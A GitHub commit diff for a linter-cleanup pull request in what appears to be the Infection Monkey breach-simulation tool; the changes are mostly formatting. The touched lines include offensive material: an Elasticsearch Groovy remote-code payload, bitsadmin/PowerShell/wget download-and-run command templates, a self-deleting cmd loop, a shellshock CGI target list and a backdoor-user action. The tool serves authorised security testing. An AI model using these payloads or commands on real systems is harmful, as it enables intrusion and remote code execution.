Merge pull request #470 from guardicore/393/python-3-fix-linter-warnings

[WIP] 393/python 3 fix linter warnings
This commit is contained in:
Shay Nehmad 2019-11-04 15:29:48 +02:00 committed by GitHub
commit 2773002af7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
206 changed files with 2342 additions and 2004 deletions

View File

@ -4,14 +4,12 @@ import urllib.request
import urllib.error
import logging
__author__ = 'itay.mizeretz'
AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254"
AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
ACCOUNT_ID_KEY = "accountId"
logger = logging.getLogger(__name__)
@ -29,8 +27,8 @@ class AwsInstance(object):
self.instance_id = urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().
decode())
urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode())
except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))

View File

@ -14,7 +14,6 @@ COMPUTER_NAME_KEY = 'ComputerName'
PLATFORM_TYPE_KEY = 'PlatformType'
IP_ADDRESS_KEY = 'IPAddress'
logger = logging.getLogger(__name__)

View File

@ -3,7 +3,6 @@ from .aws_service import filter_instance_data_from_aws_response
import json
__author__ = 'shay.nehmad'

View File

@ -1,6 +1,5 @@
from common.cmd.cmd_result import CmdResult
__author__ = 'itay.mizeretz'

View File

@ -1,2 +1,3 @@
from .zero_trust_consts import populate_mappings
populate_mappings()

View File

@ -1,2 +1 @@
ES_SERVICE = 'elastic-search-9200'

View File

@ -68,7 +68,8 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
TEST_EXPLANATION_KEY = "explanation"
TESTS_MAP = {
TEST_SEGMENTATION: {
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
"running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
@ -78,7 +79,8 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
},
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
"exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
},
@ -89,8 +91,10 @@ TESTS_MAP = {
TEST_ENDPOINT_SECURITY_EXISTS: {
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
"software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
"security concern. "
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES],
@ -99,7 +103,8 @@ TESTS_MAP = {
TEST_MACHINE_EXPLOITED: {
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
"which endpoints were compromised.",
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
},
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
@ -109,7 +114,8 @@ TESTS_MAP = {
TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
"software.",
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
},
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
@ -120,7 +126,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
"that indicate attempts to access them. "
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
@ -130,7 +137,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
"attempts to access them. "
},
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA],
@ -139,7 +147,8 @@ TESTS_MAP = {
TEST_TUNNELING: {
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
"restrict them. "
},
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
@ -148,7 +157,8 @@ TESTS_MAP = {
TEST_COMMUNICATE_AS_NEW_USER: {
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
"restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
},
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,

View File

@ -59,7 +59,7 @@ class NetworkRange(object, metaclass=ABCMeta):
ips = address_str.split('-')
try:
ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1])
except ValueError as e:
except ValueError:
return False
return True
return False
@ -173,4 +173,3 @@ class SingleIpRange(NetworkRange):
return None, string_
# If a string_ was entered instead of IP we presume that it was domain name and translate it
return ip, domain_name

View File

@ -1,4 +1,4 @@
from common.network.network_range import *
from common.network.network_range import CidrRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.testing.IslandTestCase import IslandTestCase

View File

@ -1,10 +1,10 @@
# abstract, static method decorator
# noinspection PyPep8Naming
class abstractstatic(staticmethod):
__slots__ = ()
def __init__(self, function):
super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True
__isabstractmethod__ = True

View File

@ -80,4 +80,3 @@ class MongoUtils:
continue
return row

View File

@ -74,7 +74,7 @@ class Configuration(object):
val_type = type(value)
if val_type is types.FunctionType or val_type is types.MethodType:
if isinstance(val_type, types.FunctionType) or isinstance(val_type, types.MethodType):
continue
if val_type in (type, ABCMeta):

View File

@ -304,7 +304,7 @@ class ControlClient(object):
try:
target_addr, target_port = my_proxy.split(':', 1)
target_port = int(target_port)
except:
except ValueError:
return None
else:
proxy_class = HTTPConnectProxy

View File

@ -26,6 +26,7 @@ else:
try:
WindowsError
except NameError:
# noinspection PyShadowingBuiltins
WindowsError = IOError
__author__ = 'itamar'
@ -103,14 +104,14 @@ class MonkeyDrops(object):
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
except OSError as exc:
except OSError:
LOG.warning("Cannot set reference date using '%s', file not found",
dropper_date_reference_path)
else:
try:
os.utime(self._config['destination_path'],
(ref_stat.st_atime, ref_stat.st_mtime))
except:
except OSError:
LOG.warning("Cannot set reference date to destination file")
monkey_options = \

View File

@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE):
# attack URLs
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_CMD = \
GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search'

View File

@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE

View File

@ -448,7 +448,12 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
return SambaCryExploiter.create_smb(
smb_client,
treeId,
pathName,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0)

View File

@ -1,7 +1,8 @@
# resource for shellshock attack
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
CGI_FILES = (r'/',
CGI_FILES = (
r'/',
r'/admin.cgi',
r'/administrator.cgi',
r'/agora.cgi',
@ -403,4 +404,5 @@ CGI_FILES = (r'/',
r'/webtools/bonsai/showcheckins.cgi',
r'/wwwadmin.cgi',
r'/wwwboard.cgi',
r'/wwwboard/wwwboard.cgi')
r'/wwwboard/wwwboard.cgi'
)

View File

@ -3,13 +3,14 @@
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib.request, urllib.error, urllib.parse
import http.client
import unicodedata
import logging
import re
import ssl
import urllib.error
import urllib.parse
import urllib.request
import logging
from infection_monkey.exploit.web_rce import WebRCE
__author__ = "VakarisZ"

View File

@ -1,5 +1,3 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""

View File

@ -1,14 +1,16 @@
import logging
import os
import os.path
import urllib.request, urllib.parse, urllib.error
import urllib.error
import urllib.parse
import urllib.request
from threading import Lock
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
__author__ = 'itamar'

View File

@ -29,4 +29,3 @@ class TestPayload(TestCase):
array2[1] == "prefix5678suffix" and len(array2) == 2)
assert test1 and test2

View File

@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.config import Configuration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)

View File

@ -4,9 +4,10 @@ from posixpath import join
from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import CHECK_COMMAND, ID_STRING, GET_ARCH_LINUX, GET_ARCH_WINDOWS, BITSADMIN_CMDLINE_HTTP, \
POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT, CHMOD_MONKEY, RUN_MONKEY, MONKEY_ARG, DROPPER_ARG
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
@ -256,7 +257,7 @@ class WebRCE(HostExploiter):
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % str(host))
LOG.info("Host %s was already infected under the current configuration, done" % str(self.host))
return True
def check_remote_files(self, url):
@ -284,7 +285,7 @@ class WebRCE(HostExploiter):
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
LOG.info("All default web ports are closed on %r, skipping", str(host))
LOG.info("All default web ports are closed on %r, skipping", str(self.host))
return False
else:
return ports
@ -461,7 +462,7 @@ class WebRCE(HostExploiter):
"""
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Determine which destination path to use
dest_path = self.get_monkey_upload_path(src_path)

View File

@ -1,4 +1,3 @@
import threading
import logging
import time
@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from http.server import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
@ -34,7 +32,6 @@ HEADERS = {
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'

View File

@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter):
password_hashed = self._config.hash_sensitive_data(password)
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
wmi_connection = WmiTools.WmiConnection()
@ -121,4 +122,3 @@ class WmiExploiter(HostExploiter):
return success
return False

View File

@ -1,5 +1,3 @@
import argparse
import json
import logging
@ -23,8 +21,11 @@ LOG = None
LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False,
'formatters': {'standard': {
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
'formatters': {
'standard': {
'format':
'%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'
},
},
'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG',

View File

@ -11,11 +11,14 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
"monkey_path)s\' -UseBasicParsing\" "
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"

View File

@ -34,7 +34,6 @@ class VirtualFile(BytesIO):
return path in VirtualFile._vfs
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
@ -53,6 +52,7 @@ def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
# noinspection PyShadowingBuiltins
def open(name, mode='r', buffering=-1):
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):

View File

@ -8,6 +8,7 @@ def _run_netsh_cmd(command, args):
if value])), stdout=subprocess.PIPE)
return cmd.stdout.read().strip().lower().endswith('ok.')
class FirewallApp(object):
def is_enabled(self, **kwargs):
return False
@ -24,7 +25,7 @@ class FirewallApp(object):
def __enter__(self):
return self
def __exit__(self, type, value, traceback):
def __exit__(self, exc_type, value, traceback):
self.close()
def close(self):
@ -48,9 +49,9 @@ class WinAdvFirewall(FirewallApp):
except:
return None
def add_firewall_rule(self, name="Firewall", dir="in", action="allow", program=sys.executable, **kwargs):
def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs):
netsh_args = {'name': name,
'dir': dir,
'dir': direction,
'action': action,
'program': program}
netsh_args.update(kwargs)

View File

@ -13,9 +13,13 @@ from requests import ConnectionError
from common.network.network_range import CidrRange
from infection_monkey.utils.environment import is_windows_os
# Timeout for monkey connections
TIMEOUT = 15
LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
SIOCGIFNETMASK = 0x891b # get network PA mask
RTF_UP = 0x0001 # Route usable
RTF_REJECT = 0x0200
def get_host_subnets():
@ -43,31 +47,20 @@ def get_host_subnets():
if is_windows_os():
def local_ips():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
def get_routes():
raise NotImplementedError()
else:
from fcntl import ioctl
def local_ips():
valid_ips = [network['addr'] for network in get_host_subnets()]
return valid_ips
def get_routes(): # based on scapy implementation for route parsing
LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
SIOCGIFNETMASK = 0x891b # get network PA mask
RTF_UP = 0x0001 # Route usable
RTF_REJECT = 0x0200
try:
f = open("/proc/net/route", "r")
except IOError:

View File

@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096

View File

@ -20,7 +20,6 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = ''
def __init__(self):
@ -49,14 +48,12 @@ class PingScanner(HostScanner, HostFinger):
if not "win32" == sys.platform:
timeout /= 1000
sub_proc = subprocess.Popen(["ping",
PING_COUNT_FLAG,
"1",
PING_TIMEOUT_FLAG,
str(timeout), host.ip_addr],
sub_proc = subprocess.Popen(
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True)
text=True
)
output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output)

View File

@ -30,7 +30,7 @@ class Packet:
return b"".join(content_list)
##### SMB Packets #####
# SMB Packets
class SMBHeader(Packet):
fields = odict([
("proto", b"\xff\x53\x4d\x42"),
@ -92,7 +92,13 @@ class SMBSessionFingerData(Packet):
("capabilities", b"\xd4\x00\x00\xa0"),
("bcc1", ""),
("Data",
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])

View File

@ -11,7 +11,6 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self):
@ -25,7 +24,8 @@ class TcpScanner(HostScanner, HostFinger):
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
:param host: VictimHost structure
:param only_one_port: Currently unused.
:return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive.
:return: T/F if there is at least one open port.
In addition, the host object is updated to mark those services as alive.
"""
# maybe hide under really bad detection systems

View File

@ -13,4 +13,3 @@ class BackdoorUser(PBA):
POST_BREACH_BACKDOOR_USER,
linux_cmd=' '.join(linux_cmds),
windows_cmd=windows_cmds)

View File

@ -27,6 +27,7 @@ class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = ''

View File

@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
@ -19,6 +18,7 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.

View File

@ -16,6 +16,7 @@ class PostBreach(object):
"""
This class handles post breach actions execution
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list()

View File

@ -1,7 +1,6 @@
import os
import sys
__author__ = 'itay.mizeretz'

View File

@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
try:
WindowsError
except NameError:
# noinspection PyShadowingBuiltins
WindowsError = psutil.AccessDenied
__author__ = 'uri'

View File

@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info

View File

@ -1,6 +1,7 @@
import os
import logging
import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config
@ -35,7 +36,7 @@ class WindowsInfoCollector(InfoCollector):
"""
LOG.debug("Running Windows collector")
super(WindowsInfoCollector, self).get_info()
#self.get_wmi_info()
# TODO: Think about returning self.get_wmi_info()
self.get_installed_packages()
from infection_monkey.config import WormConfiguration
if WormConfiguration.should_use_mimikatz:

View File

@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}

View File

@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer'

View File

@ -64,7 +64,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
f = None
try:
f = monkeyfs.open(self.filename, 'rb')
except IOError:
@ -100,10 +99,10 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
self.end_headers()
return f, start_range, end_range
def log_message(self, format, *args):
def log_message(self, format_string, *args):
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
self.log_date_time_string(),
format % args))
format_string % args))
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
@ -117,7 +116,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
def do_CONNECT(self):
# just provide a tunnel, transfer the data with no modification
req = self
reqbody = None
req.path = "https://%s/" % req.path.replace(':443', '')
u = urlsplit(req.path)
@ -148,9 +146,9 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
update_last_serve_time()
conn.close()
def log_message(self, format, *args):
def log_message(self, format_string, *args):
LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" %
(self.address_string(), self.log_date_time_string(), format % args))
(self.address_string(), self.log_date_time_string(), format_string % args))
class HTTPServer(threading.Thread):

View File

@ -6,5 +6,3 @@ def get_commands_to_add_user(username, password):
linux_cmds = get_linux_commands_to_add_user(username)
windows_cmds = get_windows_commands_to_add_user(username, password)
return linux_cmds, windows_cmds

View File

@ -1,11 +1,8 @@
import os
import uuid
from datetime import datetime
import bson
import flask_restful
from bson.json_util import dumps
from flask import Flask, send_from_directory, make_response, Response
from flask import Flask, send_from_directory, Response
from werkzeug.exceptions import NotFound
from monkey_island.cc.auth import init_jwt
@ -29,19 +26,19 @@ from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.resources.version_update import VersionUpdate
from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_report import AttackReport
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.services.representations import output_json
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.resources.test.monkey_test import MonkeyTest
from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak'
HOME_FILE = 'index.html'
@ -62,32 +59,6 @@ def serve_home():
return serve_static_file(HOME_FILE)
def normalize_obj(obj):
if '_id' in obj and not 'id' in obj:
obj['id'] = obj['_id']
del obj['_id']
for key, value in list(obj.items()):
if isinstance(value, bson.objectid.ObjectId):
obj[key] = str(value)
if isinstance(value, datetime):
obj[key] = str(value)
if isinstance(value, dict):
obj[key] = normalize_obj(value)
if isinstance(value, list):
